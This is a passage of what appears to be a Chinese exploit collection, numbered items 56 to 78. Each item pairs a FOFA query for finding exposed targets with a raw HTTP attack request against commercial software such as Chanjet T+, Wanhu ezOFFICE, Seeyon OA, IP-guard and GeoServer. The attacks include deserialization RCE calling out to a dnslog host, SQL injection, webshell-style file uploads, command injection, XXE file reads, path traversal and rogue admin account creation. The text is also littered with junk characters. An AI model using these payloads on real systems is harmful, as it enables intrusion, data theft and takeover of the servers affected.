/tplus/sm/privilege/ajaxpro/Ufida.T.SM.UIP.Privilege.PreviligeControl,Ufida.T.SM.UIP.ashx?method=GetDecAllUsers& e" l5 n: X( L; S- I

/ J/ N# v& a/ y/ B6 _56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE+ z* u7 L! _0 G1 a* x5 m% C
FOFA: app="畅捷通-TPlus"4 U/ ~4 T& l3 d% C+ N% E
POST /tplus/ajaxpro/Ufida.T.DI.UIP.RRA.RRATableController,Ufida.T.DI.UIP.ashx?method=GetStoreWarehouseByStore HTTP/1.1
! \, D0 z- r1 x2 Z! s9 T1 J9 QHost: x.x.x.x
) [% D6 S0 [8 y) E/ gUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
! Y: n% Y/ b* m# L* A' C: iContent-Type: application/json' a3 F6 B* R6 G* L7 Y
/ }% ~) m2 d% a- e# V2 L7 d' V2 t
{
7 @8 |2 J# |% l9 C2 r  "storeID":{
; v& S6 p; U9 B/ b- L    "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
9 D2 A- J5 W' e2 o2 i4 d   "MethodName":"Start",
  F8 M& G2 N  `    "ObjectInstance":{8 D9 i+ X, F1 B$ O
       "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",3 U2 }- f! M" I; T2 b6 `+ Q
        "StartInfo": {8 t5 u8 {) n  {
           "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",: b6 j. P) y4 k/ X( B' v" p0 e# d6 J
           "FileName":"cmd", "Arguments":"/c ping 6qevyvmi.dnslog.pw"9 [+ T6 ~' v- L2 B5 c
       }$ }3 L6 E0 D( w1 l
    }7 e6 x' L. U, o! n
  }# e/ [! L( y% m0 d. }' m
}6 {3 k# W6 g7 }( N
, _! X# _9 b# {7 ?
- p" o  s, d* n0 e3 j* w
57. 畅捷通T+ keyEdit.aspx SQL注入
, w$ p. D8 C4 s: V$ G% K$ g7 BFOFA:app="畅捷通-TPlus"
+ V3 w' v- o& ]1 EGET /tplus/UFAQD/keyEdit.aspx?KeyID=1%27%20and%201=(select%20@@version)%20--&preload=1 HTTP/1.1
; o2 ^2 W: S$ }  oHost: host( `$ k* ~5 z# x0 i. T
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
( l( g, ?+ r- w# S% v2 D: T  NAccept-Charset: utf-8
1 s+ m# M( ^# G5 Z1 n2 {' ~% X5 MAccept-Encoding: gzip, deflate
/ }& {# X, P6 ^5 P1 ]; {Connection: close
% w) ~& W, L& [! f% `3 E  p$ s+ F' I0 }

! c; t# v6 c- R; ?& n0 O2 \8 s9 N58. 畅捷通T+ KeyInfoList.aspx sql注入
2 |, L  B+ X# K& O5 N2 P  M$ VFOFA:app="畅捷通-TPlus"8 I5 V7 V! v5 u% w5 a
GET /tplus/UFAQD/KeyInfoList.aspx?preload=1&zt=')AND+1+IN+(SELECT+sys.fn_varbintohexstr(hashbytes('MD5','123456')))--+ HTTP/1.13 ]1 y& |0 S" Y0 }4 g0 M! ^
Host: your-ip
/ T2 I; Q, k. Z" z9 V( H; J: @User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36' E* [1 m9 D8 s: _; N3 f
Accept-Charset: utf-80 c% j  ~4 A, @  T/ z1 O
Accept-Encoding: gzip, deflate* f% |+ a& w) }8 S
Connection: close
1 ~  d" S! c8 ~9 [* C8 m/ G; B& W8 x+ V. v  G

( N0 P! l  L8 A2 ]. D9 Y  `- c59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行( q7 H% b( l1 I0 o
FOFA: title="@XETUX" && title="XPOS" && body="BackEnd"
# C4 w9 [* {9 r$ E( n) {5 ~POST /xc-one-pos/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
) O+ v; u* @$ jHost: 192.168.86.128:9090$ h0 A5 r% L0 A/ W. _0 i: M, u' c
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
; P2 ?3 n! i4 I3 w. ]# ]9 OConnection: close
. j9 C; [" J  I" ~+ z0 ZContent-Length: 1669
; N, e# d7 M1 L& ]& m/ }Accept: */*' v: A& ?. J' R' \
Accept-Language: en
* g; r  ^* j& [% PContent-Type: application/x-www-form-urlencoded) K# o5 p7 M3 T
Accept-Encoding: gzip8 _1 I. w" {. E$ Y! v& L
% k2 q0 Y/ Q; O6 N* m
PAYLOAD
6 t( N$ ^( o* ]$ b. u5 x" L* Q% L& c
- t! o# I; y' t, _) s# a$ {
60. 百卓Smart管理平台 importexport.php SQL注入
) t2 V; o- o2 J# G' {+ N6 Y$ `4 L5 xFOFA:title="Smart管理平台"
" m, m+ r  G3 K! q! s6 e5 YGET /importexport.php?sql=c2VsZWN0IDEsdXNlcigpLDM=&type=exportexcelbysql HTTP/1.1! S( O; o! {, ^2 l# w) Q5 G
Host:
! V1 M. M$ a  [7 }User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
: r' a# \3 L: ]" R# ?) FAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
2 t2 f, {$ M% |+ T! q& {0 ]Accept-Encoding: gzip, deflate
8 J" v8 p+ `( n$ [0 w. \, x( d2 u( AAccept-Language: zh-CN,zh;q=0.9
! F  {) D) E) [9 i0 `Connection: close6 {  {, s* j0 V
! D: ^5 Q' d* R. @$ p& I
) b* n' I/ \& Z( k# U6 P$ d5 }: U
61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
2 [7 x6 S+ t; c- ?( c7 t6 K; ZFOFA: title="欢迎使用浙大恩特客户资源管理系统"
* b6 S' D1 O' u9 M# EPOST /entsoft_en/entereditor/jsp/fileupload.jsp?filename=8uxssX66eqrqtKObcVa0kid98xa.jsp HTTP/1.1* o3 J0 I: F( A
Host: x.x.x.x. F3 O* [( f. L" @. ^( v6 X  A
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
; q7 X6 _* D0 g4 m; lConnection: close" U/ _$ `/ I9 p( A8 a" D
Content-Length: 27! `" e/ l$ I; W7 [- X
Accept: */*
. N7 I/ v( Z3 Q( v8 LAccept-Encoding: gzip, deflate. z3 s( p" L) ]8 F& ^0 w
Accept-Language: en( m: Z8 w' A0 |7 h' U  @
Content-Type: application/x-www-form-urlencoded
! n( x$ x9 `' n! n! f4 ^5 i2 [6 r  f$ b3 g
8uxssX66eqrqtKObcVa0kid98xa3 E8 ]2 T  L# f8 E$ f) p6 i
1 H- S2 E9 \* u/ U

% X; @7 g% F0 l7 v$ K$ V62. IP-guard WebServer 远程命令执行
" k( R7 z5 [7 o" r1 E7 E; qFOFA:"IP-guard" && icon_hash="2030860561"
( x8 N! b1 D2 ]' G3 h' iGET /ipg/static/appr/lib/flexpaper/php/view.php?doc=11.jpg&format=swf&isSplit=true&page=||echo+"09kdujzKJDLinkQTLfGzMMKDJ23HJ"+>09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1# |2 O, N& G  S
Host: x.x.x.x; g# F; S, u( T; i9 P4 r  v
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36
) G+ E( U; T, w  Y3 ]# A: [Connection: close
) v; q  A/ `5 A) BAccept: */*
! ~2 j8 d* @0 FAccept-Language: en, V# e3 ?0 b  Y$ G- {* T& b# o' l4 e
Accept-Encoding: gzip
/ r! z; P7 `& u2 T" f$ K$ c; O5 Y( ~0 _) G
1 w3 k" ^; f- T  U
访问
1 H6 F- o9 a) e; I( i
) w; O- X" M4 }8 ]* EGET /ipg/static/appr/lib/flexpaper/php/09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1' l% m+ Q* E) k8 ?
Host: x.x.x.x
: Z$ ?( ~+ b! I# t
( n5 g+ _4 H. E6 D* V" F% `  `  R) d6 s
63. IP-guard WebServer任意文件读取
0 c. D" V) _/ Z1 e  Z# }IP-guard < 4.82.0609.07 T! c0 N# V) k3 P
FOFA:icon_hash="2030860561"# \7 [' S/ {- `3 \$ X# C
POST /ipg/appr/MApplyList/downloadFile_client/getdatarecord HTTP/1.10 h9 H7 B/ y; {& S) G+ G
Host: your-ip1 A, }7 h/ M9 y
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.363 Q8 ^( L, v$ s0 Z
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
& \5 w3 i0 Q1 C6 H; Q. zAccept-Encoding: gzip, deflate
/ j. K1 t# C6 H" x) VAccept-Language: zh-CN,zh;q=0.9- I' p6 \1 A' u% g% x7 _* N7 u
Connection: close$ {' B) R' d- N4 {# B0 R" |
Content-Type: application/x-www-form-urlencoded2 z2 L& R+ ]) ^6 W, ]2 A0 B" l

" Y5 Z! g; p3 i0 epath=..%2Fconfig.ini&filename=1&action=download&hidGuid=1v%0D%0A
! U9 q. U; Q/ Z; }8 v5 d- T
) V" B6 g  |/ Y6 w+ j! ~' _64. 捷诚管理信息系统CWSFinanceCommon SQL注入
( y1 f6 a0 p( R% W8 ~' fFOFA:body="/Scripts/EnjoyMsg.js"
$ \! t% U, z; }+ iPOST /EnjoyRMIS_WS/WS/APS/CWSFinanceCommon.asmx HTTP/1.1
# q/ c2 ~: ~5 Z7 ^Host: 192.168.86.128:9001( |7 I/ e2 P- s' C$ B$ e
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.368 q4 h2 j6 G# S4 S- Y1 r
Connection: close: g/ T9 b" V. J+ F% s. S7 X
Content-Length: 369( l% X* R  A, u) |# @; |& Y" v
Accept: */*
6 M) y% X0 U, ?3 U9 e  ~% D+ c' ]Accept-Language: en9 _2 [, s+ u  o/ E- E7 c: X1 h( ^
Content-Type: text/xml; charset=utf-8
' C' j4 J2 L1 ~/ U. kAccept-Encoding: gzip
5 v3 w$ I+ R. Y8 z) E/ O, G( Q
$ h7 A' d* n: X2 _! J" q. I<?xml version="1.0" encoding="utf-8"?>
( W. p  a2 p, Q# h<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
% W% n- R. m- f( m; n<soap:Body>7 X+ w6 k0 E. f2 R) T* r7 B
    <GetOSpById xmlns="http://tempuri.org/">$ N& f' Y/ R# m1 b: c8 d! o
      <sId>1';waitfor delay '0:0:5'--+</sId>5 M2 |4 w9 F% N" y5 S# }2 o
    </GetOSpById>
* H* y* Z4 U. C  I* A, c7 H  </soap:Body>* h3 u+ @3 \0 A* V
</soap:Envelope>
2 Z- Y" D- l$ f4 ^% K( O
% w9 v- P% G6 i0 S* f2 \" e( n  v3 Q3 q: n% `0 R
65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
+ q4 i5 a  w7 y/ JFOFA:title="欢迎使用脸爱云 一脸通智慧管理平台"
0 h0 X4 J+ p+ ?1 w响应200即成功创建账号test123456/1234567 U4 a$ O4 }# e5 N
POST /SystemMng.ashx HTTP/1.11 Q- \5 k3 }$ h" P3 `
Host:" O1 c& o3 N. W& L; f1 B
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)6 z& _+ p3 g3 h( q$ K' G
Accept-Encoding: gzip, deflate
) W. K( T: f; sAccept: */*
$ ?! N' z0 y7 V$ TConnection: close
" E* c! E- W$ k$ x; D' }Accept-Language: en
8 Z; A7 E7 p* J% ~, NContent-Length: 174  {+ X# I+ @7 s" \4 n
* t+ O8 K' \' X- H/ B
operatorName=test123456&operatorPwd=123456&operpassword=123456&operatorRole=00&visible_jh=%E8%AF%B7%E9%80%89%E6%8B%A9&visible_dorm=%E8%AF%B7%E9%80%89%E6%8B%A9&funcName=addOperators
* J& x/ Q6 d& J  g! q7 Y! q3 k! i9 U
) S: e$ e) G3 F3 A+ V
! b! v  X  ~& [% m3 X* `; \66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入" y* a4 M! W" I
FOFA:app="万户ezOFFICE协同管理平台"
& m: i0 Y! z: T/ r
, W7 w5 @2 N; _+ B, ?" HGET /defaultroot/public/iWebOfficeSign/Template/SendFileCheckTemplateEdit.jsp?RecordID=1'%20UNION%20ALL%20SELECT%20sys.fn_sqlvarbasetostr(HashBytes(%27MD5%27,%27102103122%27))%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL-- HTTP/1.1# J' Q0 [5 x# I
Host: x.x.x.x
+ _" R2 p2 {  eUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.360 m9 q9 [2 @, X# v; z4 P$ R
Connection: close
/ R% y3 s) c/ c6 m" d7 V- m; J2 ^Accept: */*
! ?$ g* h  B" m3 X9 sAccept-Language: en  e; ~, }$ X4 Z9 J1 p, F9 O. w
Accept-Encoding: gzip' z% O: g4 Z) o0 ^3 n0 R1 h
* |' m7 j+ o+ D+ u# E

1 d9 ^- g$ t, Y6 {; ]- E, S第42,43行包含6cfe798ba8e5b85feb50164c59f4bec9字符串证明漏洞存在$ o# t( j  \8 C
6 b: b) `6 t$ A. }* E/ A3 J
67. 万户ezOFFICE wpsservlet任意文件上传7 e0 s9 f4 x, ^1 Z, y, Q
FOFA:app="万户网络-ezOFFICE"% S! q/ W, o# M5 u2 T, y# @
newdocId和filename参数表示写入文件名称,dir参数表示写入文件的路径,fileType参数表示文件类型3 m( R. |4 g. ]  K9 s0 e& F
POST /defaultroot/wpsservlet?option=saveNewFile&newdocId=apoxkq&dir=../platform/portal/layout/&fileType=.jsp HTTP/1.1# R. b4 x- w' N/ d( v5 ]
Host: x.x.x.x
' |8 M& e" J2 v1 u: {8 u% @) ~User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.02 u3 I& q! B/ p6 }
Content-Length: 173
  f) ]9 p+ {* \; h) BAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" |$ e! w8 ^- ?! ?7 C9 \+ V( f
Accept-Encoding: gzip, deflate: [0 Y% {/ A) y2 _8 L# ~0 ~
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
4 b9 u" c0 g8 o+ [8 l2 N8 w  s# [Connection: close
5 ~' T; \, ], `+ i" _" \, I: UContent-Type: multipart/form-data; boundary=ufuadpxathqvxfqnuyuqaozvseiueerp# ?% B5 W( M# G% y7 T* j3 I2 X
DNT: 1; r( q2 c4 e7 V; h
Upgrade-Insecure-Requests: 11 K) C! l6 I* L

/ T. O% Y0 K. v/ u6 e--ufuadpxathqvxfqnuyuqaozvseiueerp
  T9 w* }: l( h7 ]( r# m# GContent-Disposition: form-data; name="NewFile"; filename="apoxkq.jsp"! Z. @2 ^% @. @

- T: S- f8 J  F( w8 D8 W# C- }8 `<% out.print("sasdfghjkj");%>
: J2 R# r( u/ _2 Z/ l' X--ufuadpxathqvxfqnuyuqaozvseiueerp--
# i  _" G  C. o7 g) n, m' S* `5 A# Y: J, z: e2 y
, Y  ?2 E4 i1 b3 H
文件回显路径为/defaultroot/platform/portal/layout/apoxkq.jsp
# s' s6 K7 K  H" P5 `. i! Z1 O# y# m* m! g0 T0 i) A/ k
68. 万户ezOFFICE wf_printnum.jsp SQL注入
7 W) N3 c# C- q( `# L( i# B8 PFOFA:app="万户ezOFFICE协同管理平台"
  c7 k1 D$ A/ u% c! s2 f- P9 RGET /defaultroot/platform/bpm/work_flow/operate/wf_printnum.jsp;.js?recordId=1;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
: x( `: ^1 l8 G2 V% BHost: {{host}}0 z+ v( _5 n! @) w$ J3 ~
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36. U7 X  `5 }8 ~' Z* I1 r$ ^
Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
" Q/ Z( j4 [/ g' AAccept-Encoding: gzip, deflate
. J! b' ?0 T6 lAccept-Language: zh-CN,zh;q=0.9
9 H2 p4 ]) z  AConnection: close
% l! G2 J+ ?+ s- ]" k1 c
& Q+ V  |4 x4 W& |: y) u  r7 X; P9 g. d" \9 \  W, m1 C
69. 万户 ezOFFICE contract_gd.jsp SQL注入8 x* z' M: `# d6 I
FOFA:app="万户ezOFFICE协同管理平台"# g* _+ A3 x1 c0 y7 Q8 }
GET /defaultroot/modules/subsidiary/contract/contract_gd.jsp;.js?gd=1&gd_startUserCode=1%27%3Bwaitfor%20delay%20%270%3A0%3A5%27-- HTTP/1.1
/ z6 D5 w+ V) {- Y2 wHost: your-ip
, Y- \( N4 L9 C2 j' p  g( {% ?! ?. DUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36- p) n, F: {0 q& F( u$ G- o* ~
Accept-Encoding: gzip, deflate
& E* D* E" i  V6 A# ]Accept: */*
- Y9 q2 H* c, j) xConnection: keep-alive
3 g7 L9 X- Q( [3 C" H$ j- a+ s
" z- M0 ?& l1 R8 n! ~
5 D2 v; g2 s" D70. 万户ezEIP success 命令执行
* I4 T5 @, s. g9 W0 i* n8 E, C: i* yFOFA:app="万户网络-ezEIP"9 E$ P; X6 u" D8 b. `
POST /member/success.aspx HTTP/1.1, Y! M/ h4 n- v% t  Z
Host: {{Hostname}}: _* v4 C* Q; y
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
: ]2 w$ ~. t) b& B. t( ?SID: dHlwZSBDOlxXaW5kb3dzXHdpbi5pbmk=$ O0 V7 h* a9 X0 |* O9 f
Content-Type: application/x-www-form-urlencoded
0 n: E- b  u* Z* m  t# ^TYPE: C3 b7 i  \1 H, v3 r1 X
Content-Length: 16702: ~. j( Q' m+ t3 _1 ~
. N$ |0 `, l1 J$ v8 B  h
__VIEWSTATE=PAYLOAD
* X* j. I& t1 X, U0 B; d& F: w  \. {0 _

" {$ u. W3 H4 m& G71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入5 e4 f7 ~2 O& |9 {
FOFA:body="PM2项目管理系统BS版增强工具.zip". o5 i/ ^5 i: E  a* o
GET /Global/Global_UserLogin.aspx?accId=1%27%3BWAITFOR+DELAY+%270%3A0%3A5%27--&loginCode&password&type HTTP/1.1" f. V* }$ g) l7 L5 _
Host: x.x.x.xx.x.x.x- A0 G1 Z1 r& j& P6 S6 @4 D3 F
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
: e8 w* B0 S3 u! R6 ~7 _; jConnection: close
5 r; I' \4 I0 [2 p  |Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
+ J% I2 K, E' G- kAccept-Encoding: gzip, deflate
8 ^+ n2 ~  x! a& D1 [Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
! y! V- I1 n4 U/ i6 t" O, h4 @Upgrade-Insecure-Requests: 1
3 m9 v7 t- ^' Q9 b$ m
+ K+ J) N" ]9 `3 r  k' t2 @! ?: L! G; T' A" ~- l
72. 致远OA getAjaxDataServlet XXE7 u$ I2 }/ ~( T; W' l: i1 p
FOFA:app="致远互联-OA"
9 Z2 f9 y3 |0 D! ~6 s. rPOST /seeyon/m-signature/RunSignature/run/getAjaxDataServlet HTTP/1.1
6 g0 x0 R0 o4 Y' j7 F$ |4 ]Host: 192.168.40.131:8099
- ]* Z7 ^, P3 {& CUser-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36! F4 _- _2 r; g8 d+ V( X
Connection: close% i1 ?( x* G5 m  ^$ G% Z
Content-Length: 5831 }, R, H6 D5 G" h9 a
Content-Type: application/x-www-form-urlencoded
8 d  W2 L; c4 N7 y% ?Accept-Encoding: gzip
* q4 h% v- K* [5 f7 J& D7 e6 q; U8 H  o7 z, }- j$ d6 f
S=ajaxColManager&M=colDelLock&imgvalue=lr7V9+0XCEhZ5KUijesavRASMmpz%2FJcFgNqW4G2x63IPfOy%3DYudDQ1bnHT8BLtwokmb%2Fk&signwidth=4.0&signheight=4.0&xmlValue=%3C%3Fxml+version%3D%221.0%22%3F%3E%0D%0A%3C%21DOCTYPE+foo+%5B%0D%0A++%3C%21ELEMENT+foo+ANY+%3E%0D%0A++%3C%21ENTITY+xxe+SYSTEM+%22file%3A%2F%2F%2Fc%3A%2Fwindows%2Fwin.ini%22+%3E%0D%0A%55D%3E%0D%0A%3CSignature%3E%3CField%3E%3Ca+Index%3D%22ProtectItem%22%3Etrue%3C%2Fa%3E%3Cb+Index%3D%22Caption%22%3Ecaption%3C%2Fb%3E%3Cc+Index%3D%22ID%22%3Eid%3C%2Fc%3E%3Cdd+Index%3D%22VALUE%22%3E%26xxe%3B%3C%2Fd%3E%3C%2FField%3E%3C%2FSignature%3E
# v4 {  P/ H/ [% o0 C! ?4 B. k9 t5 O' [
& d; ]. b6 P3 m8 S0 q! c" _
73. GeoServer wms远程代码执行
: E/ J0 ]5 O; a8 k# R* mFOFA:icon_hash=”97540678”
$ n. T& ?, v5 P2 {4 b0 `POST /geoserver/wms HTTP/1.1
: \8 m4 O0 }4 s5 B/ [0 v: J1 k( U; b; }, hHost:$ u9 y! R7 ], C. m$ T
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
" i- U4 X! C/ C/ Q* Q& y' C/ N/ FContent-Length: 1981; u2 M- K  ~, K; O: d* e+ u
Accept-Encoding: gzip, deflate
) y, H( M2 d4 l( O) @2 F' SConnection: close4 g7 D1 D7 p, W/ Q- W% z: L
Content-Type: application/xml
# `! O, l3 C' L8 y7 S4 FSL-CE-SUID: 3
) H/ U; ?+ M6 ]  N& L, j+ T* i( f& U# G5 u
PAYLOAD- n  Y4 [8 T( t% g6 x8 P" Z9 R3 P
( D# l# p, c$ }! P$ `# n5 E. F
3 i- ^; u, E$ k# l9 \
74. 致远M3-server 6_1sp1 反序列化RCE
6 d; d/ W) y2 c. y# ~FOFA:title="M3-Server"' ]$ u/ Q/ C# u
PAYLOAD% b4 W/ a2 N$ y, O3 Q1 u
8 L8 T: @, c+ Z# ?" A# b$ @9 x
75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
/ l/ E0 c/ U/ `# Q5 o) pFOFA:app="TELESQUARE-TLR-2005KSH"
7 }; z  f& U' m, _GET /cgi-bin/admin.cgi?Command=setSyncTimeHost&time=`ifconfig>test28256.txt` HTTP/1.1
  ^; C4 ~9 J5 x1 m4 I; oHost: x.x.x.x; s8 U0 O& a) k$ F3 M5 `3 J
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.364 c# t: M  T$ R- m
Connection: close( O9 c; c4 b7 E- M% ?( E/ s
Accept: */*% r5 r! u; B6 N1 ?. \
Accept-Language: en# e5 S  w; D5 g/ Q2 G6 d  f
Accept-Encoding: gzip
. q" k- [1 S. C9 X7 X2 e. ?! V, W4 M

) v0 a7 K& Y' U, ]. YGET /cgi-bin/test28256.txt HTTP/1.1
0 x1 ?9 P( {; ~# K0 R5 [* WHost: x.x.x.x, @  o0 @5 U* ~$ o& k/ y4 `. R

2 J7 L8 w2 w; N/ g
5 C: M: z! ?+ s2 c76. 新开普掌上校园服务管理平台service.action远程命令执行7 U8 t5 S& z( Q2 ^- i$ N( r
FOFA:title="掌上校园服务管理平台"# m/ H3 N7 X: m' M( ]: M& X
POST /service_transport/service.action HTTP/1.1
$ [' d. _6 {/ QHost: x.x.x.x
( u( n; E3 w5 m) SUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0+ R3 c; r  Y5 G
Connection: close
) d9 n/ J: n% ~4 ^6 LContent-Length: 211
# u" `) m3 ]! ~; z! r! bAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
6 U) O4 G1 V+ R# n2 qAccept-Encoding: gzip, deflate# a: ~& K/ f9 L5 b
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2) y7 @& E  H* K" E$ q3 X$ b$ e
Cookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4. Q' r/ k( ?, K+ d9 {8 J
Upgrade-Insecure-Requests: 1
8 g1 N& ^; \7 R* o" d
- U5 h% ]5 G8 Z" |{7 T) P1 Q* H# s1 b- `' Y, `
"command": "GetFZinfo",
+ N4 @: ^$ t, z, i+ A2 J  "UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"
6 @7 A. o8 W0 E# z% r  ?new()>${ex(\"cmd /c echo 9d8ajikdujw8ejd9wjdfkfu8 >./webapps/ROOT/9d8ajikdujw8ejd9wjdfkfu8.txt\")}": G' R. j# b6 J' w
}
! J, l/ @, m6 P: }, C
9 g' U4 z# o6 D4 Q0 i  J, H. I2 f7 M- o' k% j& O! e
GET /9d8ajikdujw8ejd9wjdfkfu8.txt HTTP/1.1
5 |" s+ l+ {7 J1 \. rHost: x.x.x.x. g- |. x* ]3 t4 G
- T% W* w* m/ T2 p

5 k, |1 X) f4 A9 _" a2 e5 z8 b8 [" p' U; z2 W5 [
77. F22服装管理软件系统UploadHandler.ashx任意文件上传5 m. D6 e% |- @4 [% l/ z
FOFA:body="F22WEB登陆"9 |+ W+ f- d9 z1 q) s! S6 Q
POST /CuteSoft_Client/UploadHandler.ashx HTTP/1.1, [, q* u7 A, L2 {8 ~$ {' B
Host: x.x.x.x0 s# `" p  _2 r! V
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36. I, K8 p3 P* [+ {% V6 t
Connection: close
8 R1 u% k/ N7 d$ c+ X3 hContent-Length: 433
" D* y- J. S1 }$ i. v9 @Accept: */*
6 {8 w4 n" u; d2 ~, i! C5 nAccept-Encoding: gzip, deflate8 [2 g6 c& [& @! Z2 o2 e
Accept-Language: zh-CN,zh;q=0.9* m5 Z" {, M; F5 [# L( _
Content-Type: multipart/form-data; boundary=----------398jnjVTTlDVXHlE7yYnfwBoix
: j2 l2 o" F5 }7 H) p' K% j, b; B1 E9 _- g+ W+ b4 W; I: t
------------398jnjVTTlDVXHlE7yYnfwBoix
' K* d! X  _( i( c2 X; vContent-Disposition: form-data; name="folder"
3 f# O7 ]* C8 G: h0 F+ M
" p8 x. u, H$ b2 b6 M/upload/udplog, N$ ^2 T( U: J* x9 R
------------398jnjVTTlDVXHlE7yYnfwBoix
4 Q: \2 E1 l; V& s6 g4 KContent-Disposition: form-data; name="Filedata"; filename="1.aspx"
5 s0 S) _3 l$ W+ R2 `  fContent-Type: application/octet-stream4 N! A* ]  ~4 g# q5 T

3 u8 a- U0 Z$ W# C2 e! a1 Xhello1234567; I7 y  i) |$ e! T0 I; B
------------398jnjVTTlDVXHlE7yYnfwBoix
. ^" ~# E! u- t4 E6 f' ]Content-Disposition: form-data; name="Upload"
8 d# I9 I, v( b; d/ n" Z6 i. e, g9 ]2 p" c9 I
Submit Query2 c5 ~/ W5 F9 }" o0 J
------------398jnjVTTlDVXHlE7yYnfwBoix--
* t# G, H/ Q1 F1 C' P1 }: I! b$ I! P3 O8 K

4 n5 ?3 c  \) x! y: c78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传) n6 N% N! r( p9 M; i
FOFA:icon_hash="2001627082"
2 V$ e  D! F; z. ?% a% sPOST /Platform/System/FileUpload.ashx HTTP/1.1" h4 m0 z: b$ h" r# W
Host: x.x.x.x/ L& I4 j. Y2 E& Y5 S
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
- k6 m, y3 V3 \) o" m! J9 iConnection: close8 Z4 v! d+ z1 k6 u0 ]: M( A
Content-Length: 3367 g0 c0 p  x9 H3 |  M
Accept-Encoding: gzip
